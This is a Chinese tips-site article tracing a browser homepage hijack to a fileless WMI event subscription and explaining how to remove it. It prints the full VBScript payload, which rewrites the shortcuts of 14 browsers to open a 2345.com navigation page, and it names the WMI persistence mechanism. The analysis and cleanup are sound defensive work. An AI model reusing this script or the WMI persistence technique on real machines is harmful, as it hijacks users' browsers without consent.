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學習啦 > 學習電腦 > 電腦技巧 > 瀏覽器主頁被劫持怎么辦

瀏覽器主頁被劫持怎么辦

時間: 家輝661 分享

瀏覽器主頁被劫持怎么辦

  有網(wǎng)友表示自己在下載使用了VeryCD下載鏈接查看器這款工具以后,再打開瀏覽器就被直接跳轉到 www.2345.com/?kunown 這個導航頁面了,而且打開多個瀏覽器:IE、Chrome、Firefox、Opera、Safari、Maxthon,均相同癥狀,檢查瀏覽器首頁設置——均正常!對于這個問題該怎么解決呢?下面學習啦小編就為大家介紹一下具體的解決方法吧,歡迎大家參考和學習。

  最后發(fā)現(xiàn),原來快速啟動欄的IE瀏覽器快捷命令被其修改,修改后的類似如下圖,于是認為就是普通的修改快捷方式,手工刪除 2345 網(wǎng)址的部分,但半小時后再次被更改了。考慮到可能加載了啟動項,在注冊表、啟動項、服務等中均未查找到相關信息,重啟后IE快捷方式被重新篡改。嘗試了事件查看器和任務計劃,均未在里面查出任何信息。

  之后又安裝了超級兔子、360、exterminateit等工具進行檢查,也未檢出。

  打開ProcessMonitor進行監(jiān)視,發(fā)現(xiàn)每隔30分鐘出現(xiàn)一個scrcons.exe進程自動啟動并修改快速啟動欄的命令,然后自動關閉(幸虧是30分鐘一次,你要是24小時一次,那我就杯具了……),修改Win7下opera快速啟動圖標路徑類似如下:

  C:\Users\iefans\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Opera12.01 1532.lnk

  查找資料,發(fā)現(xiàn)這應該是一個通過WMI發(fā)起的定時自動運行腳本。要查看WMI事件,到以下地址下載WMITool并安裝

  http://www.microsoft.com/en-us/download/details.aspx?id=24045

  安裝后打開WMI event viewer,點擊左上角register for events,彈出Connect to namespace框,填入“root\subscription”(手工復制粘貼啊,默認出現(xiàn)的不是這個),確定,出現(xiàn)下圖:

  點擊左側_EventFilter:Name="unown_filter",再至右側右鍵點擊ActiveScriptEventConsume r Name="unown",右鍵選擇view instant properties,如下圖:

  查看ScriptText項可知,這是一段VBScript調(diào)用系統(tǒng)服務間隔30分鐘執(zhí)行一次,將所有瀏覽器調(diào)用加上“http://www.2345.com/?kunown”!抓住你了~!隱藏的夠深,沒常駐進程,沒有文件(把自己存儲在WMI數(shù)據(jù)庫中)。

  受到影響的瀏覽器有(各色瀏覽器,差不多齊了):

  "IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe"

  具體代碼如下:

  On Error Resume Next:Const link = "http://www.2345.com/?kunown":browsers = Array("IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe"):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsers:oDic.Add LCase(browser), browser:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):strDesktop = "C:\Users\Gemini\Desktop":strAllUsersDesktop = WshShell.SpecialFolders("AllUsersDesktop"):QuickLaunch = "C:\Users\Gemini\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch":UserPinnedStartMenu = QuickLaunch & "\User Pinned\StartMenu":UserPinnedTaskBar = QuickLaunch & "\User Pinned\TaskBar":For Each file In fso.GetFolder(strDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:For Each file In fso.GetFolder(strAllUsersDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:If fso.FolderExists(QuickLaunch) Then:For Each file In fso.GetFolder(QuickLaunch).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedStartMenu) Then:For Each file In fso.GetFolder(UserPinnedStartMenu).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedTaskBar) Then:For Each file In fso.GetFolder(UserPinnedTaskBar).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If

  最后,清除方法:在WMI event viewer中將“_EventFilter:Name="unown_filter"”項目右鍵刪除!

  刪不掉?

  到WMITool安裝路徑(例如:C:\Program Files (x86)\WMI Tools)下,右鍵點擊wbemeventviewer.exe,選擇以管理員身份運行!刪之!

  還沒完,還要手動將快速啟動欄中,將各個瀏覽器快捷命令中的http://www.2345.com/?kunown去掉!

  暫時就這么多了,還有沒有其它影響的話,用用再看吧!

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